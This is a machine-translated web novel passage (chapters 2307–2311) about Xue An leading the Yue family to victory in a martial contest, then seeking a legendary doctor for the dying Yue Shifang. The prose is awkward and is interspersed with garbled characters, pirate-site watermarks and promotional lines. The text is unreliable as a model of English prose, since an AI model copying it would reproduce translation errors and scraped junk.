    He likes to deal with smart people, because truly smart people always know how to awe and what they should do.


    Obviously, this Song Yuze and the entire Song family are smart people who know how to make choices.


    So he also nodded.


    Song Yuze couldn''t help but heaved a sigh of relief, and then bowed back.


    Somehow, when facing Xue An, despite a distance, he still felt extremely stressed.


    Because Xue An''s sword practiced like a Xuehong had left a deep impression on him before, and it even made his brows aching when he wanted to come.


    And seeing the Song family doing this, the Lu family, the Bai family and the Tao family, who were already ready to move, all wilted.


    You must know that the strength of these three of them was originally at the bottom of the nine, and now the Song family, which is ranked higher than them, voluntarily surrendered, how dare they act rashly.


    However, they were still undecided to withdraw. Just as they hesitated, another event happened that made them immediately make a decision.


    I saw Gu Wangya in the Gu family''s camp took a deep breath at this moment, suppressed the throbbing in his heart, and then took a step forward.


    "Gu''s family also decided to withdraw from this attack!"


    boom!


    There was a low uproar in the audience.


    If the Song family''s voluntary surrender and surrender were acceptable to many people, then the Gu family''s withdrawal could be said to have greatly exceeded many people''s expectations.


    Because in terms of strength, although the Gu family is not top-notch, it is still not bad among the twelve families.


    At this critical moment, as long as they are willing to go off the court, they will definitely put great pressure on the Yue Family.


    Unexpectedly, this Gu Wangya actually withdrew.


    Xue An was also a little surprised.


    You must know that he is already ready to deal with the siege of the eight families with the Yue family''s own power.


    But the Gu family voluntarily withdrew, which made him somewhat inexplicable.


    But no matter what, this result is always beneficial to the Yue family, at least after Gu Wangya finished speaking, Tao Bailu immediately walked out of the camp.


    ���bxwx����. "The Tao family quit this attack!"


    Sacrifice such as 9duxs.com. "The Lu family too!"


    "The Bai family admit defeat!"


    In the blink of an eye, he completely withdrew from the five pawns, and the only person in the field who did not express his opinion was Zhong Lijia.


    This result almost caused the Sima family''s soldier in charge to vomit blood in depression.


    Obviously, as long as these companies get out of the field together, the Yue Family can definitely be wiped out, but they all quit.


    In desperation, he had to pin his last hope on Zhong Li Wuwang.


    After all, the strength of this Zhonglijia is first-rate, and if they are willing to end, there should be hope of winning.


    But just when he looked at Zhong Li Wuwang hopefully, he only saw Zhong Li Wuwang smile.


    "Damn, when you let me go, Zhong Li Wuwang has always had revenge and gratitude for gratitude, so this **** attack and kill, we don''t participate!"


    These words ruthlessly shattered the last hope in the heart of the Sima Family Commander. UU reading


    I saw his mouth moved, just about to say something, that is, at this moment, Xue An gave a cold cry.


    "The Yue family listened to the order, all counterattack!"


    With an order, the soldiers of the Yue family rushed forward frantically like a slaughter tiger.


    Under the overwhelming power, the soldiers of the Long Family and the Sima Family, whose military ambitions were floating because of the withdrawal of each family, naturally retreated steadily.


    "All rush forward for me, and those who dare to retreat will be killed without mercy!" The soldier in charge of Sima''s family was almost mad and roared.


    But the next second, all his voices were silenced.


    Because a small red sword came out of his throat.


    Sima Zhang Bing made it difficult to lower his head and glanced at the small sword blankly, trying to say something, but because the vocal cords had been cut, he couldn''t make a sound, so he could only breathe heavily. .


    The blood dripped down the tip of the sword, and the violent sword intent was destroying everything in the soldier''s body.


    In the blink of an eye, all his life passed away like a tide, becoming a dead body.


    Xue An slowly drew out the small sword, the body fell to dust, and at the same time it hit the hearts of everyone present.


    The soldier-in-chief of the Long Family''s eyelids throbbed wildly, and he felt cold all over.


    He had a strong hunch that when the soldier in charge of the Sima family died, then it was his turn.


    really.


    But seeing Xue An slowly raised his head and smiled coldly at him.


    "It''s time to end!"


    Mi He Mi. In an instant, the violent killing intent swept over, and the leader of the Long Family felt that his skin was cracking. In panic, he actually lost his reason and turned around to run.


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2307： Final winner

    You must know that the most taboo thing on the battlefield is to expose your back to the enemy.


    It''s impossible for this Long Family Commander not to know this.


    But under the fear of death, he couldn''t take care of that much.


    What face, what taboos, are not as important as survival.


    But he just ran two or three hundred meters, and suddenly a blade grew out of his heart.


    The strong vitality made his heart beat tenaciously even after such a heavy injury.


    But the sharp blade is hidden in his heart, so that every time his heart beats, the blade will cut a bigger wound.


    Bright red blood shot out from the wound, like a fountain, and quickly took his life away.


    In this way, the soldier in charge of the Long Family also died!


    The audience was silent.


    Soldiers including the Long Family and the Sima Family couldn''t help but stop their movements and stood still, as if they had given up the fight.


    nonsense.


    Now that even the main general is dead, how can only these little soldiers fight?


    And at this moment, the cold reminder sounded again.


    "The free attack is over, the Yue family successfully defended the supply and won the final victory in this martial arts exercise!"


    There was a commotion in the audience, because with this voice, this huge supply box was slowly opening.


    But they didn''t know that their shock and commotion were completely inferior to everyone in the outside hall.


    Because at this moment, the progress bar on the light curtain disappeared collectively.


    That''s right!


    It just disappeared suddenly without any signs!


    "What''s going on?" Someone asked in shock.


    "I don''t know. This kind of thing has never happened in previous martial arts conventions! Could it be that something went wrong with this martial arts venue?"


    There was a lot of discussion, and the huge noise almost lifted the roof of the hall.


    The expressions on the faces of the patriarchs present are also very ugly.


    Sima Chongchao looked at the old man who had a long life before, "What''s going on? Why are all the progress bars disappear?"


    The audience fell silent, and everyone looked at the old man.


    The old man shook his head with a wry smile.


    "You don''t have to look at me like that, because I don''t know what''s going on! You must know that this martial arts field is left by the ancient power, and it is controlled by the mysterious spirit of rules, and outsiders can''t interfere at all, so the present situation It''s not strange, and I have a hunch that although this matter is strange, it shouldn''t be a bad thing!" The old man speculated. Sacrifice as zhuiyo.com Sacrifice as


    But Sima Chongchao no longer had the mind to listen to his speculation. He looked at the empty curtain of light with a green expression, and his heart was full of anger.


    Those soldiers who entered were all elites from the Sima family, and among them were his own blood. Now that there is no news, how can he feel at ease.


    The same goes for Long Yushu, the patriarch of the Long Family.


    In an instant, the atmosphere in the hall was suppressed to the extreme.


    Yue Qinghuan was pale with tears in his eyes.


    She didn''t even notice what was happening outside, just staring at the light curtain, her heart full of infinite worry and fear.


    Xue An, what''s wrong with you?


    You have to return safely!


    It seemed that she had heard her prayer, at this moment, but the light curtain suddenly began to shake.


    Then there was a space-time channel.


    People exclaimed for a while.


    The old man was overjoyed, "Well, this martial arts performance is finally over, let''s see who came out first!"


    In an instant, everyone''s eyes were concentrated in this space-time passage.


    Because in previous martial arts competitions, the people who won the first place came out first.


    Therefore, people want to see what the outcome of this extraordinary martial arts conference will be.


    Just when everyone was looking forward to it, they saw a flash of brilliance in the space-time channel, and then a team of people appeared.


    After seeing this group of people clearly, Yue Qinghuan, who was already ready to cheer, was immediately dumbfounded.


    Not only her, in fact everyone present was a little confused.


    Because it was not the Yue family who had the most eye-catching performance before, nor the veteran giants Long family and Sima family, but the Song family who ranked low!


    But seeing Song Yuze walking forward with his head held high, there was no sadness or joy on his face, and no clues could be seen.


    The Patriarch Song, who was overjoyed, saw this scene and immediately suppressed the joy in his heart, because he knew that something must be going on here!


    really.


    But after seeing the Song family and his party came out, they did not return to the team, but stood by the time and space channel, standing silently, seeming to be waiting for something.


    At the same time, the space-time channel was shaking again.


    This time it was Lu Taobai''s three that came out.


    Seeing the three of them, people didn''t have much speculation.


    Because even if you think about it with your back heel, you can think that they will never be the winner of this martial arts performance.


    However, the strange thing is that these three companies, like the Song family, found a place to stand after they walked out.


    Gu''s family and Zhongli''s family appeared immediately.


    The appearance of these two companies still caused a slight commotion in the audience.


    Because the only ones who haven''t appeared here are the Long Family, and the Sima Family still has the Yue Family.


    People can''t help but lift their hearts to their throats, wanting to see who will come out next. UU reading www. uukanshu.com


    Yue Qinghuan even lifted his heart to his throat and watched with full concentration.


    At this moment, but seeing the figure of a pair of soldiers appeared in the space-time passage, at the beginning, it was a little bit difficult to see because of the barrier of time and space.�� minus b���ꢪ�񧳩���


    But after walking in, he could still recognize the imprints on these soldiers, it was the Long Family.


    There was a commotion in the audience.


    Yue Qinghuan shed tears at that time.


    Long Yushu let out a sigh of relief, and a smile slowly appeared on his face, but he couldn''t laugh anymore soon.


    Because at this moment, people suddenly discovered that these soldiers were all listless and devoid of aura, and they had obviously been trapped by some means.


    Long Yushu''s complexion instantly turned pale.


    Sima Chongchao laughed loudly, "It seems that my Sima family had the last laugh, Brother Long, this time I really gave up!"


    Long Yushu didn''t say a word.


    But there was a sneer in the passage of time and space.


    "He doesn''t need to accept the concession, because your Sima family will end up in the same way!"


    really.


    After the soldiers of the Long family, they were the soldiers of the Sima family who encountered the same.


    This picture really looked like an invisible slap, slapped Sima Chongchao''s face fiercely.


    Yue Qinghuan broke into a smile because she had already heard the voice.


    At the same time, when the soldiers of these two families all walked out of the passage and rested on the ground, the empty passage suddenly released bright light.


    The huge coercion swept the audience, and the people who were forced to leave the passage retreated again and again, with a look of horror on their faces.


    Then I saw that in the bright light, the figures of the soldiers of the Yue family began to emerge one by one. Mi He Mi


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2308： Im fine, you dont have to worry

    Click! Click!


    Accompanied by a burst of crisp footsteps, but seeing a team wearing black mysterious gold armor, so angry, they walked out of the space-time channel.


    Just to that stop, everyone who was suppressed by the violent military might retreat again and again, shocked.


    Many people couldn''t help opening their eyes wide, looking at this scene in disbelief.


    In particular, Sima Chongchao and Long Yushu and other family patriarchs, their expressions are even harder to see the extreme.


    Because obviously, after completing this martial arts exercise, the soldiers of the Yue family not only made considerable progress in their military prestige, but also got rich benefits.


    This can be seen from the standard black gold armor they wear.


    This kind of armor almost envelops the whole body, the whole is streamlined, and the cold metal luster contains extremely terrifying power.


    This alone cannot be produced by any of the twelve divisions of the military strategist.


    The most important thing is that this is not a set, but a set of all Yue family soldiers, which is too terrifying.


    Yue Qinghuan''s attention was not on these at all, she stared at the space-time passage blankly, looking forward to the familiar figure.


    at last.


    When Guanghua began to converge, a young man appeared in the passage.


    I saw him slowly coming, stepping out of the dazzling brilliance, and standing in front of everyone.


    In an instant, everyone''s pupils shrank.


    There is no other reason, but this young man is too powerful.


    As the leader of the Yue family''s soldiers, the power of all the soldiers of the Yue family was concentrated on him.


    Coupled with Xue An''s own strength, the two superimposed, resulting in him at this moment even directly suppressing the power of all the military patriarchs present.


    These sights also made Sima Chongchao, Long Yushu and others utterly disillusioned.


    How can it be!


    Obviously when he entered the martial arts trial field, this guy was just an ordinary immortal master. How could his aura become so powerful after just a few days?


    But just when everyone was secretly shocked, Yue Qinghuan rushed forward with infinite joy.


    ���]��. "Xue An!"


    Xue An turned his head and glanced at her, smiled slightly, but said nothing.


    Although he didn''t speak, Yue Qinghuan instantly understood the meaning in Xue An''s eyes.


    I''m fine, you don''t have to worry.


    This made Yue Qinghuan stop, standing still and laughing without saying a word.


    At the same time, Xue An''s eyes swept across the faces of everyone present.


    Wherever they went, everyone retreated, and even if they wanted to stand still, they were still defeated in front of the imposing Yue Family.


    Only a few people such as Sima Chongchao and Long Yushu barely moved.


    Even so, they still felt extremely strong pressure, and at the same time began to feel anxious in their hearts.


    What is he going to do?


    Could it be... he wants to kill us now?


    Just when Sima Chongchao and others were terrified.


    Xue An suddenly chuckled, "Okay, everything is over, go home!"


    After all, he didn''t even look at Sima Chongchao and the others, turned around and walked out.


    All the soldiers followed immediately, followed by Yue Qinghuan, Yue Hechang and others.


    In the blink of an eye, everyone from the Yue family in the hall walked away cleanly.


    Sima Chongchao and Long Yushu were about to drip with gloomy expressions, and after looking at each other, they also left silently.


    After the Long Family and Sima Family had all left the field, a tumult like a tsunami broke out in this martial arts hall.


    "Oh my god, I''m not mistaken, the Long Family and Sima Family''s Patriarch that the Yue family has just suppressed dare not speak?" Someone said in shock.


    "Haha, haven''t you seen it yet? After winning this martial arts show, the Yue family is no longer what it used to be. If nothing else, who can resist the soldiers alone?" Someone sneered.


    Upon hearing this, everyone was silent.


    Yup!


    Just facing, the courage of the soldiers of the Yue family made them all feel terrified!


    If you really want to start, who dares to say that you can win?


    Just as these people were talking, Gu Wangya retracted his gaze to look at Xue An and whispered: "Let''s go!"


    Gu''s family immediately receded like a tide.


    When they left, Zhong Li Wuwang also yawned.


    "It''s boring, go home to sleep!"


    Then he also left.


    As for the Song family, Song Yuze smiled slightly, "Let''s go too!"


    Wait for them to leave too.


    Sacrifice such as baolaixsw.com sacrifice such as. Tao Jia Lu Jia Bai Jia naturally has no reason to stay.


    So in the blink of an eye, all the nine soldiers left.


    Someone watched this scene and couldn''t help but sigh softly: "The soldier... is going to change the sky!"


    Yue family.


    When the news from the martial arts field came back, the whole Yue family was boiling.


    From top to bottom, whether it was a left-behind elder or a servant, everyone rushed to tell each other, with smiles all over their faces.


    Without him, the Yue Family who had been suppressed for a long time really needed such a victory!


    The few elders who stayed behind hardly discussed, and immediately made a decision to hold a welcoming ceremony for the soldiers who returned in triumph.


    It just happened that the previous welcome ceremony left a lot of things, so it is not difficult to prepare.


    Soon, the whole Yue family began to hustle.


    But the strange thing is that from the beginning to the end, Yue Shifang in the flower hall of the backyard did not make any statement ~ www.novelhall.com~ Not only that, even the second girl did not appear.


    However, because the news is so encouraging, many people simply did not notice it.


    The martial arts field is not too far away from the Yue family, and the marching of the brigade is only half a day.


    But in this half-day situation, when Xue An''s people came to the Yue family to split their lines, the entire Yue family headquarters had completely changed its appearance.


    Colorful flags were fluttering everywhere, and the strange flowers and weeds along the road were in full bloom. The Yue family who stayed behind were already waiting here.


    After seeing Xue An, he immediately greeted him.


    "Sir, Congratulations on your victory and return!"


    "Yes, all of you soldiers have worked so hard, so I am so proud of my Yue family, hurry up and go inside!"


    The remaining elders said with excitement.


    As for the others, they don''t seem to know what to use to express their feelings except for cheering.


    Yue Qinghuan was also infected by the warm atmosphere, and only felt that his nose was sour and his eyes were hot.


    Xue An just smiled faintly, nodded at the crowd, scanned the audience for a while, and then gave a slight sound as if he had noticed something.


    This whisper was so low that no one else noticed it. Only Yue Qinghuan, who was the nearest to the ear, heard it, and could not help but whispered: "What''s wrong?"


    "It''s okay!" Xue An said without turning his head, even the smile on his face remained the same.


    But if someone looked closely at Xue An''s eyes at this time, he would find that his pair of eyes suddenly became extremely deep, like a cold spring, which made people shudder.


    Mi He Mi. At this time, everyone greeted Xue An and his party like Zhongxing Pengyue.


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2309： Very deep origin

    The banquet hall has already been set up, waiting for Xue An and others to take their seats.


    As soon as they were seated, all kinds of delicacies and delicacies were served like flowing water.


    Xue An smiled at the soldiers.


    "You have worked hard in this battle, and today you will no longer have any restrictions. Let''s vent as much as you want!"


    It was not until he ordered that the soldiers began to eat and drink.


    Some people even wandered up after eating.


    Xue An didn''t stop, because he knew very well that this battle was a severe test for the soldiers, and the huge pressure made them breathless.


    Now it''s finally over. Naturally, I have to vent it, otherwise it will be more troublesome to accumulate in my heart.


    For a while, the banquet hall became extremely lively.


    Everyone wanted to find Xue An to toast.


    But Xue An went uncharacteristically this time, just moved a few chopsticks to eat, and then quietly got up and said to Yue Qinghuan who was on the side.


    "Come with me!"


    Yue Qinghuan had also noticed the strangeness at this time, so after hearing Xue An''s words, he immediately got up and followed.


    The two left the banquet hall and walked directly to the backyard.


    Many people in the banquet hall hadn''t noticed the two of them leaving. Even if they noticed, only a few people had guessed something vaguely.


    As for the others, they were completely immersed in joy and excitement at this moment, drinking as much as they wanted.


    After leaving the banquet hall and turning around a few corners, the entrance to the backyard stood in front of him.


    When I got here, the surroundings became extremely quiet.


    The two worlds are completely different from the noisy banquet hall.


    Yue Qinghuan''s lips pressed tightly, and there was a faint panic in his eyes, and even his body was trembling slightly when he was walking.


    Xue An, who was walking in front, said suddenly: "Don''t worry, your brother is fine now!"


    After saying this, Xue An paused, and then said softly: "Even if something happens, I will be there!"


    Hearing these words, Yue Qinghuan trembled all over, then lowered his head and responded in a low voice.


    "Ok!"


    Xue An strode forward, but he, who had never looked back, certainly would not see the tears in Yue Qinghuan''s eyes that could almost melt people.


    Crossed the courtyard gate, walked through a section of veranda, and then came to the flower hall.


    When they walked into the flower hall, they heard a light laugh from the flower hall.


    "I said they will come!"


    It was Yue Shifang''s voice, but at this time, although he was laughing, there was a clear and discernible weakness in his voice.


    Xue An didn''t say a word either, but just opened the bead curtain and walked in.


    I saw Yue Shifang sitting in the flower hall with his back to the door, while the second girl was standing aside, with no sadness or joy on his face.


    But it is this extreme calmness that makes people feel desperate.


    Even after Xue An and Yue Qinghuan came in, the two girls didn''t say hello, but just stood there like a wooden sculpture of clay.


    "Second sister..."


    She didn''t wake up until Yue Qinghuan called her softly, and then lowered her head.


    "I''m going to pour tea!"


    After that, he turned and left.


    At this moment, Yue Shifang also said suddenly: "Qing Huan, follow along!"


    Yue Qinghuan took a deep look at Yue Shifang''s back, then nodded, "Okay!"


    After the two of them were gone, Xue An was silent for a moment before he said in a deep voice, "Is it too much to hold it?"


    "Hehe, it''s not that you can''t hold it, it''s just that the body collapsed earlier than expected because of several hands-on actions!"


    As he said, the wheelchair slowly turned, revealing an old face.


    If the appearance of Yue Shifang before was like a handsome young man, then he now has become a middle-aged old man.


    Wrinkles and gray hair made him look very haggard.


    But the most striking thing is his eyes.


    I saw the once shining eyes, but now they were shriveled, and even the eye sockets were deeply sunken in, looking very hideous.


    "Have vision collapsed?" Xue An asked.


    Yue Shifang nodded, "I can''t see it at all."


    The tone is calm, as if talking about a trivial matter.


    Xue An was silent.


    Yue Shifang smiled, "I didn''t expect the second girl to drink tea. Now I really want to drink your tea!"


    Xue An sat directly across from Yue Shifang and began to make tea.


    After a while, the fragrance of tea wafted out.


    Then Xue An handed it a cup by himself.


    Yue Shifang stretched out his hand to take it, and couldn''t help but smile after taking a sip.


    "Good tea skills, I didn''t expect that you not only led the soldiers first-class, even this tea skills are so good!"


    Xue An still did not speak.


    Yue Shifang sipped slowly, until he drank the tea in the cup, he whispered.


    "Congratulations on this victory. To be honest, I really didn''t expect you to trigger the martial arts rules, start the advanced martial arts, and win the final victory!"


    Xue An raised his eyebrows, "You all know?"


    Yue Shifang laughed, "Do you think I''m really blind?"


    With his laughter, the dignified atmosphere before was relaxed.


    Then Yue Shi reached out his hand, "Let me touch your little sword!"


    "Do you even know this?"


    "Hehe, I have lived for tens of thousands of years anyhow, so naturally there are some means you can''t imagine!"


    Xue An took out the small sword and placed it in Yue Shifang''s hands.


    Although Xiaojian was extremely sharp, but after reaching Yue Shifang''s hands, he was very docile, and even when Yue Shifang gently stroked the sword, he did not hurt him at all.


    Yue Shifang''s complexion gradually became awe-inspiring, UU read and then gently placed the small sword on the table.


    "Do you know the origin of this sword?"


    "of course!"


    "tell me the story!"


    Then Xue An recounted the story of Jiansan Shen Suqian.


    After hearing that Jian San was dead, the wrinkles on Yue Shifang''s face trembled, and then sighed lightly.


    "Do you know the origin of this woman?"


    Xue An shook his head, "I don''t know!"


    "It''s okay if you don''t know, but you must remember that unless you have to do it, you must never show it to the public, otherwise you will suffer a catastrophe! Understand?" Yue Shifang said.


    This reminder is exactly the same as what the Yuehua Zhongjun from the Yin Yang family said before.


    Xue An couldn''t help being silent for a moment, and then asked: "Is her origin... deep?"


    "Very deep, and it''s as deep as you can''t imagine!"


    "It''s a pity that she died in the heavens where you are, so many things can be matched..." Yue Shifang muttered to himself.


    Xue An also fell into contemplation.


    The strength of that sword three Shen Suqian is not the best among the heavens, but her origins are even secretive to Yue Shifang. What is going on?


    And why don''t they want me to show this little sword?


    After thinking for a moment, Xue An gave up.


    Because there were too few clues to reason at all, Xue An simply stopped thinking about it, but looked at Yue Shifang.


    "How long do you have?"


    The invincible chapters of "Invincible, Starting from Xianzun Dad" will continue to be updated on Xinshuhaige Novel.com. There are no advertisements in the site. Please also collect and recommend Xinshuhaige Novel.com!


    I like Invincible, and please collect it from Daddy Xianzun: () Invincible, the new book Haige novel net is updated fastest from Daddy Xianzun.

 Chapter 2310： Ghost Needle

    "According to the current situation, at most one year, at least half a year!" Yue Shifang said.


    Xue An raised his eyebrows slightly, "So fast?"


    Yue Shifang smiled bitterly, "I didn''t expect it, because the speed of this body''s collapse is indeed unexpected."


    Xue An was silent for a moment and suddenly said, "Have you never tried to save yourself for thousands of years?"


    "Of course I tried. In fact, I have tried almost all the methods I can try over the years, and the result... all failed!"


    "Is there any genius doctor in the outer sky that was so angry and white?" Xue An asked suddenly.


    Yue Shifang laughed at himself, "I know what you are thinking, but it''s useless, because I have tried all the genius doctors I can get, and there are even top-notch ones who can''t solve my injuries! "


    Speaking of this, Yue Shifang suddenly thought of something, "Except for one person..."


    Xue An''s eyes lit up, "Who are you talking about?"


    Yue Shifang shook his head, "Forget it, it''s useless to say it, you can''t please him!"


    "How can I know if I don''t try?"


    "You don��t understand. If this person talks about the essence of medicine, he can be said to be the first person in the world, but he is more famous than his medicine for his extremely strange temper. You can even say that, as long as he doesn��t want to, Then basically no one in the sky can invite him!"


    "Who are you talking about?" Xue An asked in a deep voice, unmoved.


    "Ghost needle genius doctor, Cha Wenliang!"


    Xue An nodded, "Okay! I get it!"


    After all, Xue An got up and walked out.


    "Xue An!" Yue Shifang suddenly shouted.


    Xue An stopped and turned to look at Yue Shifang, "What''s the matter?"


    Yue Shifang sighed softly, "Seriously, I have tried many times in the past few years, but this Cha Wenliang simply doesn''t get in oil and salt, so you''d better not waste your efforts!"


    Xue An smiled, "How can I know if I don''t try it! If you invite someone who doesn''t move, it doesn''t mean that I won''t move!"


    With that, Xue An turned straight and left with strides.


    When he left, the second girl walked out from another corner of the backyard and walked slowly behind Yue Shifang.


    "Qing Huan has gone back?"


    "Well! I have been persuaded to go back."


    "Thanks for your hard work during this period of time!" Yue Shifang said with a light smile.


    The second girl didn''t say a word, but stood there silently. It was not until a long time later that she said, "Do you think he will succeed?"


    "I don''t know! It stands to reason that after so many years, I have spent countless energy and failed to invite this Cha Wenliang, I should not have any hope for him, but the strange thing is that this guy seems to have a special kind of magic in him. "


    "It''s as if something other people can''t do all the hard work, it will succeed in his hands!"


    "It''s like this martial arts performance?" the second girl raised her eyebrows and asked.


    Yue Shifang smiled and nodded, "Yes, he really gave me a big surprise in this martial arts performance!"


    "Then I hope that he can also give me a big surprise this time!" The second girl said softly, slowly clenching the hand on Yue Shifang''s shoulder.


    Suddenly Yue Shifang couldn''t laugh anymore, just patted her fist lightly.


    "Everything is resigned to fate!"


    The second girl is gone.


    She wanted to take advantage of this time to find various rare medicinal materials to boil medicine soup for Yue Shifang.


    When Yue Shifang was left in the flower hall, he leaned on the wheelchair, raised his head, and looked straight at the ceiling of the flower hall with his godless eyes.


    It was not until a long time later that he suddenly sighed.


    "Sudden changes in the performance of martial arts rules, is this your opinion?"


    "It seems that you are also very concerned about this Chinese teenager!"


    "Does the soldier''s calamity depend on this young man to solve it?"


    This series of questions scattered into the air without any answer, only the flowers under the porch were blooming lonely.


    Just like Yue Shifang''s current mood, lonely and lonely.


    "Do you know that Ghost Needle Doctor Check Wenliang?" Xue An asked in a deep voice.


    Yue Qinghuan was startled, and then nodded, "Of course I know! That is the top genius doctor who has survived for thousands of years and is famous throughout the heavens."


    Sacrifice such as xindingdianxsw.net sacrifice such as. "Very well, do you know where he lives?"


    "I heard people say that he often settles in the Valley of Fallen God! What are you asking about?"


    "I plan to ask this person to heal your brother!"


    Yue Qinghuan''s expression immediately became serious, "Is my brother''s situation very bad now?"


    "Yeah!" Xue An didn''t hide it either, nodding directly in response.


    "Okay, then I will go with you!" Yue Qinghuan said without hesitation.


    Xue An did not decline either, "Do you know the way?"


    "I know, back then, I went to Luoshen Valley with my second elder sister once, but in the end I was blocked from coming back without seeing this gentleman!"


    Speaking of this, Yue Qinghuan looked embarrassed, "This Cha Wenliang has a notoriously weird temper. Let''s just look for it. Can you really please him? Should we make some preparations in advance?"


    "No, if his character is really as weird as you say, any preparations are in vain!"


    Soon, the two were ready, and then set off quietly in the dark. UU reading www. uukanshu.com


    ���]��. There are only a few people who know what they are doing here.


    Because Yue Shifang''s physical condition at the moment is a secret that needs to be strictly kept.


    Once it spreads, it is easy to cause the Yue Family, who is already on the cusp of the storm, to make waves again.


    In this situation, the Yue family quickly fell into a strange silence.


    This kind of weird performance has also made other people in a few different ways aware of it.


    Gu family.


    Gu Wangya groaned, "This Xue An hasn''t shown up since he returned from performing martial arts. Where did he go?"


    She muttered to herself, and the image of the boy in white appeared in her mind.


    After a while, she said in a deep voice: "Continue to observe, I will immediately report any changes about the Yue family!"


    "Yes!"


    Like the Gu family, the Song family also issued a similar order.


    However, unlike this kind of non-malicious observation, the Long Family and the Sima Family are now furious.


    Because of this martial arts conference, they have suffered heavy losses. Not only did they lose the martial arts, but they also lost their blood and military leaders.


    Even his own soldiers were captured by the Yue family.


    Mi He Mi. Naturally, this kind of shame and shame made the two of them grit their teeth with hatred of the Yue family, especially for Xue An, who simply wanted to eat his meat raw.


    Now that there seemed to be some faint changes in the Yue family, after Xue An hadn''t shown up since the fight back, the two families almost unanimously thought of one thing.


    Could it be that Xue An was jealous of the Yue family because of his dazzling performance?


    This is not impossible, because military power has always been the top priority of each family, and soldiers in charge are generally held by their own children.


    I like Invincible, and please collect it from Dad Xianzun: () Invincible, the update speed is the fastest from Dad Xianzun.

 Chapter 2311： Falling God Valley Registration Fee

    However, this time the Yue family had an outsider who was in charge of the soldiers, which was not in compliance with the rules, and now they have won a big name, making all the soldiers of the Yue family home.


    In addition, Yue Shifang was seriously injured, and under the combination of the two phases, maybe this Xue An is in a really difficult situation in the Yue family now!


    With this idea in mind, the Long Family and the Sima Family immediately dispatched countless open guards to find out the facts as soon as possible.


    But all the temptations are like mud cows entering the sea, without any response.


    The whole Yue family seemed to become secretive.


    And just when the military divisions were suspicious of each other, Xue An and Yue Qinghuan had embarked on the road to Luoshen Valley.


    This Falling God Valley is very far away from the soldiers, and it can be said that it will take more than ten days to reach it at the speed of the two of them.


    But because Yue Qinghuan had been to Luoshen Valley once, he didn''t get lost.


    Soon, the two left the military strategist''s scope of influence and came into the vast void.


    The void of the outer sky is far wider than the sky, and this light can be seen from the sparse galaxy.


    But it is very possible that an extremely dim spot of light comes from a very far away galaxy that is extremely prosperous.


    No words all the way.


    Soon the two came to the sphere of influence of God of Fallen Valley.


    Because Ghost Needle��s genius doctor is so well-known, there is a constant stream of people who come here to beg him every day. If things go on like this, it will actually make this a prosperous capital.


    Almost everyone who comes here must first enter this capital city, and Xue An and Yue Qinghuan are naturally no exception.


    When they walked into the city gate, they saw that all the shops along the street were hung with various guise.


    "Ancient genius doctor, Materia Medica Miaodan."


    "The only inheritor of the ghost needle sits at the clinic."


    At the same time, there are various screams one after another.


    "Don��t miss those who have passed by. Today, the healing holy medicine carefully developed by our old mentor is finally released. No 998 or 298, as long as 98 high-grade spirit crystals can be taken home. What a serious injury you have taken care of with medicine to cure your illness!"


    "I am the immortal of the East China Sea here. Seeing you and others have a great fate, I hereby teach you this magic formula for longevity and longevity. You don''t need to give more, as long as three spirit crystals can be handed for one!"


    "Donor, please stay. I see your Yintang is darkened and your aura is empty. Obviously there is a disaster of blood and light. As long as you wear the magic talisman that I wrote and consecrated myself, you will be safe and lucky when you are in danger!"


    These shouts are ridiculous.


    At least there was a rare smile on Yue Qinghuan''s originally serious face.


    "What do the people here say...the thinking may be a little jumpy!"


    "Understand, do you rely on the mountains to eat the mountains and the water to draft water!" Xue An smiled.


    "But where is the Falling God Valley?" Xue An asked again.


    "The Valley of Fallen God is..."


    Before Yue Qinghuan could finish speaking, he saw a yellow-faced man approaching mysteriously after hearing their conversation.


    "What? Are the two going to Luoshen Valley to see the old genius doctor?"


    "So what?" Yue Qinghuan said irritably.


    What she hates most is that someone eavesdrops on the corner.


    The yellow-faced man was not angry, but he smiled, then lowered his voice, pretending to be mysterious: "Then you are looking for the right person. Nowadays, it is not that simple to enter the Valley of the Fallen God. You have to enter by number. Otherwise you won��t even be able to get in Taniguchi!"


    "Response number? What is the basis of number?" Yue Qinghuan was a little surprised.


    Obviously there was nothing like this the last time I came here!


    "You don��t know this girl. Some time ago, the local gang, the Azure Dragon Gang, suddenly ruled the entire city with powerful force. Then they blocked the Luoshen Valley. Anyone who wants to enter the Luoshen Valley must have them personally. Only the issued number plate is fine."


    "And now it��s been three months since the registration for the numbering, and it��s hard to find the number one. So if you are in a hurry, I happen to have a few temporary transfers from others. The most recent One can enter the Valley of the Fallen in three days, and the price only needs one hundred spiritual crystals, the price is extremely suitable..."


    The yellow-faced man talked endlessly.


    Yue Qinghuan was a little confused.


    When did this happen?


    Immediately she was furious, "Okay, that Luoshengu is clearly accessible to anyone, but now it is monopolized by you to make a fortune, you are not..."


    The yellow-faced man sneered, "Girl, you can''t say that. The rules are set by the Qinglong Gang. If you are not convinced, you can go to the Qinglong Gang for the theory. Why don''t you call me? Love it!"


    After all, the yellow-faced man turned around and was about to leave.


    Xue An stopped him at this moment, "Wait a minute!"


    The yellow-faced man turned his head to look at Xue An, and said angrily: "What? Are you okay?"


    Xue An smiled, "My sister is young and can''t speak, so you don''t need to care, I just want to know if you really have a number plate now?"


    "Of course! And it will be three days later, to ensure that you can enter the Valley of the Fallen God smoothly by then. As for whether you can see the old genius doctor, it is your own good fortune!" said the yellow-faced man.


    "Okay, then I want it! One hundred Lingjing? Here you are!"


    With that, Xue An took out a storage ring with one hundred spiritual crystals stored in it.


    But the yellow-faced man didn''t pick it up at all, but looked at Xue An with a sneer.


    "Just now it was one hundred Lingjing, UU reading , but now... Lao Tzu looks a little uncomfortable with your sister, so at least this number can be sold to you!"


    He stretched out two fingers.


    "two hundred?"


    "It''s an extra two hundred, otherwise it''s not necessary to talk about it!"


    "You..." Yue Qinghuan was furious. She had never seen such a person sitting on the floor and was about to make an attack.


    Xue An stretched out his hand to stop her, and said lightly: "Okay, two hundred more, right? I''ll give it!"


    After Lingjing was handed over to the yellow-faced man, a satisfied smile appeared on his face.


    "It''s good to be so sensible earlier, you have to take care of your sister in the future, or you will suffer a lot!"


    The yellow-faced man was talking about it, while taking out a jade card from his arms.


    A few simple numbers are written on the jade plate.


    "Is this the number plate?"


